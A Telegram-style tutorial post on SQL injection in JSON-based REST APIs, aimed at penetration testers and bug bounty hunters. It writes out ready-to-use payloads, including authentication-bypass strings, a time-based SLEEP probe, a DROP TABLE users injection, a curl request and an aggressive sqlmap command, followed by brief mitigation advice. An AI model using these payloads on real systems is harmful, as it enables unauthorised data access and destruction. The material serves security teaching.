ExploitQuest
A Real-World Example of Prototype Pollution Exploitation A hacker was testing a target and noticed that it didn’t properly validate user inputs, allowing multiple XSS vulnerabilities. This led them to wonder if they could directly manipulate the Prototype…
In the modern web, APIs are everywhere — powering everything from web apps and mobile apps to IoT devices. However, developers often make the same classic mistakes when handling user input, especially in JSON-based RESTful APIs.
SQL Injection (SQLi), a well-known vulnerability, is still relevant and can exist within APIs if input validation and query handling are not properly secured.
This article explores advanced techniques for identifying and exploiting SQL injection in APIs, particularly in JSON payloads. It is tailored for penetration testers and bug bounty hunters seeking to level up their API testing game.
━━━━━━━━━━━━━━━
•POST requests with JSON bodies
•GraphQL endpoints
•PUT/PATCH methods with nested objects
•Endpoints with dynamic filters or search queries
•Database-related error messages in API responses
•Unusual delays in response (time-based blind SQL)
•Reflection of user input in responses or logs
•Status code anomalies (e.g., 500 Internal Server Error)
━━━━━━━━━━━━━━━
Let’s say you’re testing the following API
POST /api/user/details HTTP/1.1
Host: vulnerable.site
Content-Type: application/json
{
"username": "admin"
}
Try payload injection:
{
"username": "' OR '1'='1"
}
🤖Or blind time-based:
{
"username": "' OR SLEEP(5)--"
}curl -X POST https://vulnerable.site/api/user/details \
-H "Content-Type: application/json" \
-d '{"username": "' OR 1=1 --"}'
{
"filter": {
"email": "admin@site.com' OR '1'='1"
}
}
Or nested objects:
{
"user": {
"id": "1'; DROP TABLE users;--"
}
}•Burp Suite (Pro): Use the Intruder or Repeater to fuzz JSON payloads.
•SQLMap with --data and --json flags:
sqlmap -u https://vulnerable.site/api/login \
--data '{"user":"admin","pass":"pass"}' \
--headers="Content-Type: application/json" \
--level=5 --risk=3 --batch
•Postman: Manual testing and injection
•Nuclei with custom templates
━━━━━━━━━━━━━━━━━━
Always analyze API docs (Swagger/OpenAPI) for parameter hints.
•Use Burp Collaborator for detecting out-of-band SQLi.
•Test for second-order injection, especially in multi-step flows.
•Try JSON-specific encoding, like:
•Unicode: \u0027 OR \u0031=\u0031
•Base64 in API params
━━━━━━━━━━━━━━━━━━
🛡️ Mitigation (For Blue Team Awareness)
Use parameterized queries / prepared statements
•Sanitize and validate input rigorously
•Apply WAF rules and anomaly detection for API behavior
•Implement rate limiting and access control
━━━━━━━━━━━━━━━━━━
SQL Injection is far from dead — it's just evolving. Modern APIs, especially those handling complex JSON bodies, often become attack vectors due to developer assumptions or insecure ORM usage. With the right mindset, tools, and techniques, ethical hackers can uncover and responsibly disclose serious vulnerabilities before attackers do.
Happy hacking and see you next time!
#CyberSecurity #MSSQL #EthicalHacking #json
#api
#JavaScriptSecurity
#WebSecurity
#BugBounty #EthicalHacking #CyberSecurity
#SecurityResearch #WebHacking
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9👍2🥰1